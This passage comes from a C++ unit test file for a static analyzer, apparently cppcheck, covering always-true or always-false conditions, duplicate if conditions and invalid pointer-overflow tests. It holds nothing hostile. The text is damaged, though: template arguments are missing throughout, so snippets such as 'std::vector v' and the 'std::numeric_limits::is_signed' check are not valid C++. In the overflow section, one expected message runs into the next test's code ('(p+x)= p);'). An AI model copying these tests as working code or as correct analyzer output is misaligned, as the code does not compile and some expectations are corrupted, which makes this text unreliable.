\"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\" // #12937\n \" bool c = !a && b;\\n\"\n \" if (a) {}\\n\"\n \" else {\\n\"\n \" if (c) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned x) {\\n\" // #13522\n \" unsigned u = x;\\n\"\n \" int i = u - 0;\\n\"\n \" if (i < 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueInfer() {\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x != 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6890\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x == -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x != -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x!=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x >= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x < -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x <= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<=-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 7) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>7' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 9) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 10) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11100\n check(\"struct T {\\n\"\n \" bool m{};\\n\"\n \" void f(bool b);\\n\"\n \" bool get() const { return m; }\\n\"\n \" void set(bool v) { m = v; }\\n\"\n \"};\\n\"\n \"void T::f(bool b) {\\n\"\n \"\tbool tmp = get();\\n\"\n \"\tset(b);\\n\"\n \"\tif (tmp != get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9541\n check(\"int f(int pos, int a) {\\n\"\n \" if (pos <= 0)\\n\"\n \" pos = 0;\\n\"\n \" else if (pos < a)\\n\"\n \" if(pos > 0)\\n\"\n \" --pos;\\n\"\n \" return pos;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:16]: (style) Condition 'pos>0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9721\n check(\"void f(int x) {\\n\"\n \" if (x > 127) {\\n\"\n \" if ( (x>255) || (-128>x) )\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:30]: (style) Condition '-128>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8778\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 19; ++i)\\n\"\n \" if(i<=18) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'i<=18' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8209\n check(\"void f() {\\n\"\n \" for(int x = 0; x < 3; ++x)\\n\"\n \" if(x == -5) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'x==-5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8407\n check(\"int f(void) {\\n\"\n \" for(int i = 0; i <1; ++i)\\n\"\n \" if(i == 0) return 1; \\n\" // <<\n \" else return 0;\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'i==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned int u1, unsigned int u2) {\\n\"\n \" if (u1 <= 10 && u2 >= 20) {\\n\"\n \" if (u1 != u2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:16]: (style) Condition 'u1!=u2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10544\n check(\"void f(int N) {\\n\"\n \" if (N > 0) {\\n\"\n \" while (N)\\n\"\n \" N = test();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11098\n check(\"void f(unsigned int x) { if (x == -1u) {} }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int *p, const int *q) {\\n\"\n \" return p != NULL && q != NULL && p == NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (style) Return value 'p==NULL' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #11789\n \" std::vector v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" int j = i - v.size();\\n\"\n \" if (j >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12039\n \" if ((128 + i < 255 ? 128 + i : 255) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12727\n \" bool f() const {\\n\"\n \" return g() > 0;\\n\"\n \" }\\n\"\n \" std::size_t g() const {\\n\"\n \" return 5 - h();\\n\"\n \" }\\n\"\n \" std::size_t h() const {\\n\"\n \" if (x > 7)\\n\"\n \" return 5;\\n\"\n \" return (5 + x) % 5;\\n\"\n \" }\\n\"\n \" std::size_t x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueContainer() {\n // #9329\n check(\"void c1(std::vector&);\\n\"\n \"void c2(std::vector&);\\n\"\n \"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void g();\\n\"\n \" void f(bool b) {\\n\"\n \" v.clear();\\n\"\n \" g();\\n\"\n \" return !v.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10409\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s == \\\"ab\\\" ) return;\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s != \\\"ab\\\" )\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10226\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw 0;\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'it!=vector.end()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11303\n check(\"void f(int n) {\\n\"\n \" std::vector buffer(n);\\n\"\n \" if(buffer.back() == 0 ||\\n\"\n \" buffer.back() == '\\\\n' ||\\n\"\n \" buffer.back() == '\\\\0') {}\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Condition 'buffer.back()=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (style) Condition 'buffer.back()=='\\\\0'' is always false\\n\", errout_str());\n }\n\n // #9353\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", \"\", errout_str());\n\n // #10508\n check(\"bool f(const std::string& a, const std::string& b) {\\n\"\n \" return a.empty() || (b.empty() && a.empty());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:2:46]: (style) Return value 'a.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" struct iterator;\\n\"\n \" iterator begin() const;\\n\"\n \" iterator end() const;\\n\"\n \"};\\n\"\n \"A g();\\n\"\n \"void f(bool b) {\\n\"\n \" std::set s;\\n\"\n \" auto v = g();\\n\"\n \" s.insert(v.begin(), v.end());\\n\"\n \" if(!b && s.size() != 1)\\n\"\n \" return;\\n\"\n \" if(!s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::string s) {\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" s += '\\\\n';\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(std::string& p) {\\n\"\n \" const std::string d{ \\\"abc\\\" };\\n\"\n \" p += d;\\n\"\n \" if(p.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (style) Condition 'p.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int i, FILE* fp) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" s += std::to_string(i);\\n\"\n \" s += \\\"\\\\n\\\";\\n\"\n \" return fwrite(s.c_str(), 1, s.length(), fp) == s.length();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #9148\n \" if (s.empty() || s.size() < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:2:31]: (style) Condition 's.size()<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void bar(std::vector& vv) {\\n\" // #11464\n \" class F {\\n\"\n \" public:\\n\"\n \" F(int, std::vector& lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" private:\\n\"\n \" std::vector& mV;\\n\"\n \" } fi(1, vv);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::vector v;\\n\"\n \" bar(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct F {\\n\"\n \" F(int, std::vector&lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" std::vector& mV;\\n\"\n \"};\\n\"\n \"void g(std::vector& vv) {\\n\"\n \" F(1, vv);\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" g(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueLoop()\n {\n check(\"long foo() {\\n\"\n \" bool bUpdated = false;\\n\"\n \" long Ret{};\\n\"\n \" do {\\n\"\n \" Ret = bar();\\n\"\n \" if (Ret == 0) {\\n\"\n \" if (bUpdated)\\n\"\n \" return 1;\\n\"\n \" bUpdated = true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" bUpdated = false;\\n\"\n \" }\\n\"\n \" while (bUpdated);\\n\"\n \" return Ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo() {\\n\"\n \" bool bFirst = true;\\n\"\n \" do {\\n\"\n \" if (bFirst)\\n\"\n \" bar();\\n\"\n \" if (baz())\\n\"\n \" break; \\n\"\n \" bFirst = false;\\n\"\n \" } while (true);\\n\"\n \" return bFirst;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void * pool = NULL;\\n\"\n \" do {\\n\"\n \" pool = malloc(40);\\n\"\n \" if (dostuff())\\n\"\n \" break;\\n\"\n \" pool = NULL;\\n\"\n \" }\\n\"\n \" while (0);\\n\"\n \" if (pool) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8499\n check(\"void f(void)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 2; ++i)\\n\"\n \" {\\n\"\n \" for (int j = 0; j < 8; ++j)\\n\"\n \" {\\n\"\n \" if ( (i==0|| i==1)\\n\" // << always true\n \" && (j==0) )\\n\"\n \" {;}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:20] -> [test.cpp:7:27]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10863\n check(\"void f(const int A[], int Len) {\\n\"\n \" if (Len <= 0)\\n\"\n \" return;\\n\"\n \" int I = 0;\\n\"\n \" while (I < Len) {\\n\"\n \" int K = I + 1;\\n\"\n \" for (; K < Len; K++) {\\n\"\n \" if (A[I] != A[K])\\n\"\n \" break;\\n\"\n \" } \\n\"\n \" I = K; \\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11434\n \" const int N = 5;\\n\"\n \" bool a[N];\\n\"\n \" for (int i = 0; i < N; a[i++] = false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8192\n \" for (int i = 0; i > 10; ++i) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Condition 'i>10' is always false\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int i = 1000; i < 20; ++i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Condition 'i<20' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int foo(int foo, int bar, bool baz, bool flag) {\\n\"\n \" if (baz && flag) {\\n\"\n \" do {\\n\"\n \" if (bar==42)\\n\"\n \" return 0;\\n\"\n \" } while (flag);\\n\"\n \" }\\n\"\n \" return foo;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:6:18]: (style) Condition 'flag' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueTryCatch()\n {\n check(\"void g();\\n\"\n \"void f(int x)\\n\"\n \"{\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \" catch(...) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" g();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void h();\\n\"\n \"void f(int x) {\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" catch( ... ) {}\\n\"\n \" }\\n\"\n \" h();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10701\n \" std::string s;\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" s = g();\\n\"\n \" }\\n\"\n \" catch (const Err& err) {}\\n\"\n \" }\\n\"\n \" catch (const std::exception& e) {}\\n\"\n \" if (s != \\\"abc\\\") {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void multiConditionAlwaysTrue() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if (val > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val > 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Condition 'activate' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) Condition 'foo' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6904\n check(\"void f() {\\n\"\n \" const int b[2] = { 1,0 };\\n\"\n \" if(b[1] == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'b[1]==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9878\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && b){;}\\n\"\n \" else if (!a && b){;}\\n\"\n \" else if (!a && !b){;}\\n\"\n \" else {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateCondition() {\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:8]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:10]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x != 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" g();\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) { x++; }\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8996\n check(\"void g(int** v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" int* d[] = {&a, &b};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9311\n check(\"struct c {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(struct c* v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" struct c d[] = {{&a}, {&b}};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8993\n check(\"void f(const std::string& x) {\\n\"\n \" auto y = x;\\n\"\n \" if (x.empty()) y = \\\"1\\\";\\n\"\n \" if (y.empty()) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9106\n check(\"struct A {int b;};\\n\"\n \"void f(A a, int c) {\\n\"\n \" if (a.b) a.b = c;\\n\"\n \" if (a.b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void c();\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" c();\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" a = 2;\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:9:14]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" auto g = [&] { b = !a; };\\n\"\n \" if (b)\\n\"\n \" g();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool& a);\\n\"\n \"void f(bool b) {\\n\"\n \" auto h = std::bind(&g, std::ref(b));\\n\"\n \" if (b)\\n\"\n \" h();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *i) {\\n\"\n \" if (*i == 0) {\\n\"\n \" *i = 1;\\n\"\n \" }\\n\"\n \" if (*i == 0) {\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(std::function);\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto x = [&v] { v.push_back(1); };\\n\"\n \" if(v.empty()) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \" if(v.empty())\\n\"\n \" return;\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(const S& s) {\\n\"\n \" int a = 0, b = 0;\\n\"\n \" if (s.i == 0)\\n\"\n \" a = 1;\\n\"\n \" if (s.i == 0)\\n\"\n \" b = 1;\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:13]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"void f(double d) {\\n\" // #12712\n \" if (std::isfinite(d)) {}\\n\"\n \" if (std::isfinite(d)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:22]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #12391\n \"int f(const struct S* a, const struct S* b) {\\n\"\n \" const struct S* p = b;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" return p->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // do not crash\n check(\"void assign(const MMA& other) {\\n\"\n \" if (mPA.cols != other.mPA.cols || mPA.rows != other.mPA.rows)\\n\"\n \" ;\\n\"\n \" if (other.mPA.cols > 0 && other.mPA.rows > 0)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #11202\n \" float f = 0x1.4p+3;\\n\"\n \" if (f > 10.0) {}\\n\"\n \" if (f < 10.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidTestForOverflow() {\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert((p + x) < p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)= p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)>=p'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p > (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p>(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always false. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p <= (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p<=(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(signed int x) {\\n\" // unsigned overflow => don't warn\n \" assert(x + 100U < x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // x + c < x\n\n#define MSG(EXPR, RESULT) \"[test.cpp:1:30]: (warning) Invalid test for overflow '\" EXPR \"'; signed integer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always \" RESULT \". 